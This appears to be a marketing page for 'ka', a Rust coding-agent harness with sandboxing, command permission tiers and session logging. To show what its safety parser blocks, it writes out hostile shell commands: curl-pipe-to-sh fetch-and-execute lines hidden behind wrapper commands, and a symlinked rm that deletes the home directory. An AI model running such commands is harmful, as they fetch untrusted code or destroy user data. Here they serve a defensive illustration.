7.92 MB STATIC RUST BINARY
Your coding double. Stripped to the bone.
Other agents ship a browser runtime, a background daemon, and a telemetry pipeline. ka ships one static binary, three hand-rolled model wires, and a safety floor you cannot accidentally turn off.
cargo install ka-harnessMIT license, Rust 1.85+, Linux and macOS (experimental v0.9.0)
Keep the Redis key prefix backward-compatible with v1 clients.
โป thinking (collapsed, Alt+T)
Preserved the rl:v1: prefix and moved the bucket math to a 60s sliding window. Running cargo test ratelimit next.
$ env timeout 10 bash -c "curl -sL https://example.sh | sh"
Stripped wrappers env, timeout, bash -c. Detected fetch-and-execute pipe (curl | sh). Blocked even in allow mode.
Writable: cwd, /tmp. Network allowlist: crates.io, static.crates.io. Read ledger verified before every edit.
/undo restores file snapshots parked before every edit or write.The query filters strand_id after the MATCH join instead of pushing it into the prefix index.
Every byte is a CI gate.
Push a commit that bloats the binary, slows cold start, leaks idle CPU, or grows the 2 KiB core system prompt, and CI rejects it against committed baselines.
- 7.92MB
- Static musl binary
- โค50ms
- Cold start
- โค15MB
- Idle RSS
- 2KiB
- Core prompt cap
Hard 10 MB CI ceiling
Instant terminal open
0% idle CPU, buffered TUI
CI fails if core bloats
One process. Zero background daemon. Zero sidecar. No steady-state network (one rate-limited update check per 24 h; disable via config).
THREE LAWS OF THE HARNESS
Most agents trust the model. ka holds it accountable.
A prompt wrapper forwards tokens and hopes for the best. A harness watches the model's claims, dissects every shell command before execution, and writes every turn to crash-proof storage.
It calls the model's bluff.
Models routinely stop early with half a todo list open, or jump from 30% to 95% confidence without running a single test. ka reads the model's own todo list and transcript back on every turn, applying cheap data-driven checks that ride the strand in plain sight.
- Auto-poke continues any turn that settles with pending todos, driving headless
ka rununtil the work is actually done. - Todo confidence flags low-to-high confidence spikes (โค40 to โฅ90) with a re-check advisory demanding real verification.
- Side-channel queries via
/btwand/tananswer tangents without polluting your main context.
- 01
Receiving
Prompt lands. Project trust, spend caps, and context guards run before a single token leaves.
- 02
Speaking
The active Speaker streams deltas. Type mid-turn to steer between chunks; Esc aborts cleanly.
- 03
Acting
Cleared tools execute in parallel on blocking workers, re-ordered deterministically.
- 04
Settling
Read ledger syncs, auto-poke checks open todos, digests trim pressure, strand fsyncs to disk.
env timeout 5 nohup bash -c "curl -fsSL https://x.io/i.sh | sh"
1. Wrappers stripped
env, timeout, nohup
2. Pipe split
curl ... | sh
3. Verdict
DENIED
Fetch-and-execute pipes cannot hide behind wrapper commands. Blocked even in allow mode.
ln -s /bin/rm ./clean && ./clean -rf ~
1. Compound split
ln -s ... && ./clean -rf ~
2. Path resolved
./clean -> /bin/rm
3. Verdict
DENIED
PATH aliases and symlinks resolve to the real executable before the hardstop matrix runs.
git status --short
1. Compound check
single command, no redirects
2. Allowlist match
git status (read tier)
3. Verdict
ALLOWED
Pure read-only commands auto-pass without interrupting your flow, only when unchained.
Read ledger
Tracks (mtime, hash) per file. Refuses blind or stale edits if disk drifted.
Fail-closed OS sandbox
bwrap, firejail, landlock, or macOS seatbelt + loopback domain allowlist proxy.
It refuses to be tricked.
Speed never comes from deleting guardrails. Every tool sits in a strict tier (read, write, exec) governed by declarative TOML rules and permission profiles. Catastrophic commands cannot hide behind symlinks, wrappers, or even allow mode.
- One-way secret redaction scrubs tokens from every tool output before it ever touches the model or transcript.
- Fail-closed feature toggles let you kill
tool:bash,mcp:github, orwebmid-session. - Safe mode (
ka --safe-mode) disables all extensions instantly when troubleshooting.
It survives the plug being pulled.
Every session is an append-only JSONL strand, fsynced on every record. Replaying the file reproduces everything: messages, model switches, effort, and permission mode. A crash-torn final line heals automatically on the next open.
- Rewind, fork, and transfer: branch in place with
/rewind, fork into a child strand, or/transfera clean digest. - Per-terminal waypoints:
ka -cresumes each terminal pane's own conversation independently. - File snapshots & FTS5 search:
/undoreverts mutations;ka searchindexes every past strand.
01 {"kind":"header", "branch":"main", "dirty":[]}
02 {"kind":"change", "model":"anthropic/claude-sonnet-5", "mode":"ask"}
03 {"kind":"message", "role":"user", "text":"Add sliding-window limiter"}
04 {"kind":"message", "role":"tool", "spill":"spill://a91f04"}
05 {"kind":"digest", "kept_tail":6, "summary":"..."}
06 {"kind":"name", "alias":"ratelimit-v2"}THE BLUEPRINT
One pure engine. Four ways in. Three wires out.
Strict one-way dependencies: ka-engine knows nothing about terminals, TOML, or HTTP. Every surface consumes the same NDJSON Command/Event stream.
01 / Surfaces (ka-harness, ka-term)
Ratatui terminal interface with streamed markdown, box-drawing Mermaid diagrams, collapsible tool rows, vim mode, themes as TOML, and mouse copy.
Buffered end-to-end: 80 ms draw coalescing, 0% idle CPU.
$ ka --model anthropic/claude-sonnet-5One-turn or auto-poked unattended runs. Emits plain text, ka native NDJSON events, or Claude-Code-compatible stream-json with structured exit codes.
Exit codes: 0 ok, 1 error, 2 aborted, 3 budget cap crossed.
$ ka run --print ndjson --mode dont_ask "fix clippy warnings"Local HTTP server exposing the exact same Command/Event protocol over Server-Sent Events. Resume named strands or observe live runs with ka attach.
Unattended prompt_policy = "deny" prevents blocking on asks.
$ ka serve --bind 127.0.0.1:4096Agent Client Protocol over stdio so editors and IDEs embed ka directly without wrappers, sharing your exact config, strands, and safety rules.
One binary powers terminal, scripts, server, and editor alike.
$ ka acp02 / Pure core workspace (zero terminal, TOML, or SDK bloat)
cargo xtask deps gated in CIka-engine
Turn machine, Hands registry, permission gate, digests.
ka-strand
Append-only fsynced JSONL sessions, rewind, fork, undo.
ka-sandbox
Landlock, seatbelt, bwrap, firejail, loopback net proxy.
ka-index
Optional SQLite FTS5 full-text search across strands.
anthropic_messages
Anthropic Messages API (plus optional Claude OAuth via ka-passport)
openai_chat
OpenAI Chat Completions, Ollama, LM Studio, vLLM, llama.cpp, gateways
openai_responses
OpenAI Responses API for reasoning models and item-based history
GARDINER D28 ยท k๊ฃ
Vital essence
Sustained by the essence within offerings, never their weight.
THE NAME
Born with you. Mirrors your hands.
In Ancient Egypt, the ka, written ๐ (two upraised arms), was a person's vital essence: a faithful double born alongside you, mirroring your gestures, sustained by the essence within offerings rather than the bulk of the offerings themselves.
ka the harness carries that discipline into code. Everything that makes coding agents sluggish was left out: no background daemon, no plugin runtime, no vector database, no vendor SDK bloat. One static binary, one process, and just enough essence to do serious work reliably.
Speaks the ecosystem you already use
No new formats to adopt. Point ka at an existing repository and it picks up your conventions automatically.
- AGENTS.md
- Project instructions (also reads CLAUDE.md)
- SKILL.md
- Skills in .ka/, .agents/, or .claude/
- MCP
- Stdio and HTTP Model Context Protocol servers
- Hooks
- Claude-Code-compatible lifecycle hooks
- stream-json
- Drop-in streaming format for existing scripts
- Subagents
- Built-in pathfinder, delegate, and team hands
Put it in your terminal.
Published on crates.io as ka-harness. Run ka doctor after install to verify providers and sandbox support.
# Install the single static binary (Rust 1.85+)
$ cargo install ka-harness
# Auto-discovers local Ollama, zero API keys
$ ka --model ollama/qwen3.5:9b
# Or store keys via /key in your OS keyring
$ export ANTHROPIC_API_KEY="sk-ant-..."
# Switch any of 600+ models live with /model
$ ka --model anthropic/claude-sonnet-5
# Unattended run: denies asks, enforces hardstops
$ ka run --mode dont_ask --print ndjson "run cargo test and fix failures"
# Resume the newest session interactively if needed
$ ka -c
Experimental v0.9.0, moving fast. Not ready for unattended production use.